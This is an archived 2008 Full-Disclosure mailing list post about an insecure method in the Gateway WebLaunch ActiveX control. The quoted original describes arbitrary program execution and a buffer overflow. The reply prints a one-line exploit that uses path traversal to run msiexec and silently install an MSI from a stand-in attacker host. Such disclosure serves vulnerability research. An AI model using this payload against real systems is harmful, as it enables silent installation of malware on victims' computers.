lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-Id: <20080109161702.45B22D0039@mailserver10.hushmail.com>
Date: Wed, 09 Jan 2008 11:17:02 -0500
From: "Elazar Broad" <elazar@...hmail.com>
To: <full-disclosure@...ts.grok.org.uk>
Cc: 
Subject: Re: Gateway WebLaunch ActiveX Control Insecure
	Method

I was playing with this a bit more. Everybody has the Windows 
Installer installed, right? How about this:

obj.DoWebLaunch("","..\\..\\..\\..\\windows\\system32\\msiexec.exe",
"","/i http://www.evilsite.com/evilapp.msi /quiet");

Elazar

On Tue, 08 Jan 2008 20:08:53 -0500 elazar@...hmail.com wrote:
>The DoWebLaunch() method of the Gateway WebLauncher ActiveX 
>control 
>allows for the execution or arbitrary application on a system, 
>additionally this method is vulnerable to a buffer overflow in the 
>
>2nd and 4th parameters. Both weblaunch.ocx and weblaunch2.ocx 
>allow 
>the execution of arbitrary files, weblaunch.ocx is vulnerable to 
>the above mentioned buffer overflow, I have not checked 
>weblaunch2.ocx. Exploit: http://www.milw0rm.com/exploits/4869
>
>Elazar
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.grok.org.uk/full-disclosure-charter.html

--
Click for free information and quotes for interest only loans.
http://tagline.hushmail.com/fc/Ioyw6h4dQLTWDiGHz23XbuHRjFjoKIh931B6M5EFWM7GG2w6BuCtD6/
>Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ